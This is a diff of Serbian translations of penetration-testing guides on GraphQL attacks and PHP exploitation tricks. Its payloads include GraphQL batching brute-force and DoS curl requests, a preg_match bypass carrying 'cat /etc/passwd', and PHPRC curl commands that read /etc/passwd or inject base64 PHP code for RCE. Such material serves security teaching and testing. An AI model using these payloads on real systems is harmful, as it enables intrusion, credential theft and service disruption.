Napomena da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
![](<../../images/image (707).png>)
@ -219,11 +219,11 @@ I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja
**Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)**
Ako možete pretraživati po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po string polju nazvanom "**description**"_).
Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite praznu string** dobićete **dump svih podataka**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po String polju nazvanom "**description**"_).
### Pretraga
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **email-u** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese:
```javascript
@ -285,13 +285,13 @@ name
**Mutacije se koriste za pravljenje promena na serverskoj strani.**
U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem imidžu "_MutationType_" se naziva "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati kao sledeća (u ovom primeru mutacija se zove `addMovie`):
Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati kao sledeća (u ovom primeru mutacija se naziva `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -304,7 +304,7 @@ rating
```
**Napomena kako su i vrednosti i tip podataka naznačeni u upitu.**
Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim povezivanjem sa postojećim **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranim osobom.
Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim povezivanjem sa postojećim **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranom osobom.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -334,12 +334,12 @@ releaseYear
```
### Direktiva Preopterećenja
Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok ne postane moguće izvršiti DoS napad.
Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši resurse dok nije moguće izvršiti DoS napad.
### Grupisanje brute-force u 1 API zahtevu
Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
Autentifikacija putem GraphQL API sa **istovremenim slanjem više upita sa različitim akreditivima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL funkcije grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:
@ -367,7 +367,7 @@ Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **
{queryType{name}}}"
}
```
Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
Ako ne uspete, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
### Pokušajte sa WebSockets
@ -395,7 +395,7 @@ payload: GQL_CALL,
ws.send(JSON.stringify(graphqlMsg))
}
```
### **Otkriće Izloženih GraphQL Struktura**
### **Otkrivanje Izloženih GraphQL Struktura**
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
```javascript
@ -403,7 +403,7 @@ Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF u GraphQL
## CSRF u GraphQL-u
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
@ -411,9 +411,9 @@ Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
Napolju možete pronaći nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.**
Tamo ćete moći da pronađete nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.**
Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
Napomena da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@ -425,15 +425,15 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**,
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima.
Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih akreditiva.
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika.
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Zloupotreba WebSocket-a između sajtova u GraphQL
## Preuzimanje WebSocket-a između sajtova u GraphQL
Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **Zloupotrebu WebSocket-a između sajtova da bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL.
Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **preuzimanje WebSocket-a između sajtova kako bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL.
Za više informacija proverite:
@ -443,7 +443,7 @@ Za više informacija proverite:
## Autorizacija u GraphQL
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju.
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevaoca, ali ne i autorizaciju.
Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927).
@ -459,7 +459,7 @@ Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje
[Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije.
U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika za sistem da registruje kao novog korisnika.
U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika za sistem da se registruje kao novi korisnik.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
@ -469,9 +469,9 @@ U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje sv
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je nenamerni slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasirani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno.
Razmotrite primer dat ispod, koji ilustruje kako se aliasirani upiti mogu koristiti za proveru validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući proveru više kodova za popust istovremeno.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -513,7 +513,7 @@ U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajuć
### **Vulnerabilnost preopterećenja direktiva**
**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršitelj servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -539,7 +539,7 @@ I zatim **koristite neke od prilagođenih**.
### **Ranljivost duplikacije polja**
**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Napada uskraćivanja usluge (DoS)**.
**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive baze podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Odbijanja usluge (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -552,9 +552,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje graphql koji se koristi
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje korišćeni graphql
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalan alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja određenog tipa u GraphQL šemi**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a

View File

@ -21,7 +21,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Zaobilaženje PHP upoređivanja
### Labava upoređivanja/Prebacivanje tipova ( == )
### Labava upoređivanja/Tip prebacivanje ( == )
Ako se `==` koristi u PHP-u, postoje neočekivani slučajevi gde upoređivanje ne funkcioniše kako se očekuje. To je zato što "==" upoređuje samo vrednosti transformisane u isti tip, ako takođe želite da uporedite da li je tip upoređivanih podataka isti, morate koristiti `===`.
@ -32,7 +32,7 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php](
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
- `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
- `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u decimalnom ili heksadecimalnom formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
- `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
- `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0
- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
@ -42,7 +42,7 @@ Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-
### **in_array()**
**Prebacivanje tipova** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
**Tip prebacivanje** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -61,9 +61,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
Ista greška se javlja sa `strcasecmp()`
### Strogo tipiziranje
### Strogo prebacivanje tipova
Čak i ako se koristi `===`, mogu se javiti greške koje čine **upoređivanje ranjivim** na **tipiziranje**. Na primer, ako **upoređivanje konvertuje podatke u drugi tip objekta pre nego što ih uporedi**:
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -73,7 +73,7 @@ Ista greška se javlja sa `strcasecmp()`
#### Bypass novog reda
Međutim, kada se deli početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer:
Međutim, kada se delimituje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -92,11 +92,11 @@ Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima url
"cmd": "cat /etc/passwd"
}
```
Pronađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Obilaženje greške u dužini**
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)\
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se blokira JSON, mogli biste poslati:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
@ -109,9 +109,9 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Ukratko, problem nastaje jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određeni regularni izrazi se podudaraju koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
Ukratko, problem se javlja jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:\
**Pošaljite ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi, podrazumevano iznosi 1_000_000 (1M) u `pcre.backtrack_limit` varijabli.\
@ -142,26 +142,26 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Path Traversal and File Inclusion Exploitation
## Putanja Traversal i Eksploatacija Uključivanja Fajlova
Check:
Proverite:
{{#ref}}
../../../pentesting-web/file-inclusion/
{{#endref}}
## More tricks
## Više trikova
- **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda.
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste u različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (davanjem kolačiću imena koje odgovara njemu u putanji2).
- **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti putem **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda.
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste u različitim putanjama** možete učiniti da putanja **pristupa kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
- Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
- [**LFI i RCE koristeći php omotače**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Ove funkcije se obično koriste u PHP za **generisanje hash-eva iz lozinki** i za **proveru** da li je lozinka tačna u poređenju sa hash-om.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT.** A trenutno, **PASSWORD_BCRYPT** ima **ograničenje veličine ulaza od 72 bajta**. Stoga, kada pokušate da hash-ujete nešto veće od 72 bajta sa ovim algoritmom, biće korišćeno samo prvih 72B:
Ove funkcije se obično koriste u PHP za **generisanje heševa iz lozinki** i za **proveru** da li je lozinka ispravna u poređenju sa hešem.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT.** A trenutno, **PASSWORD_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -202,7 +202,7 @@ php-ssrf.md
&#xNAN;**\`ls\`;**\
**shell_exec("ls");**
[Proverite ovo za više korisnih PHP funkcija](php-useful-functions-disable_functions-open_basedir-bypass/)
[Proverite ovo za više korisnih PHP funkcija](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **RCE putem** **preg_replace()**
```php
@ -266,7 +266,7 @@ Da biste otkrili broj zagrada koje treba da zatvorite:
### **RCE putem .httaccess**
Ako možete da **otpremite** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Ako možete **otpremiti** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells)
@ -275,15 +275,15 @@ Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako uz više istraživanja možda ovo može biti zaobiđeno), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugi otpremljeni fajl. Ovaj drugi fajl sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP fajl koji sadrži naš shellcode
2. Otpremite drugi fajl, koji sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši fajl koji smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na fajl koji smo otpremili u koraku 2.
- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete otpremiti svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP datoteku koja sadrži naš shellcode
2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2.
- Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - druga opcija
- Ako **ne možete otpremiti fajlove**, možete koristiti u FreeBSD "fajl" `/dev/fd/0` koji sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
- Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte fajl sa **base64 PHP kodom**:
- Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- Tehnika [**iz ovog izveštaja**](https://vulncheck.com/blog/juniper-cve-2023-36845).
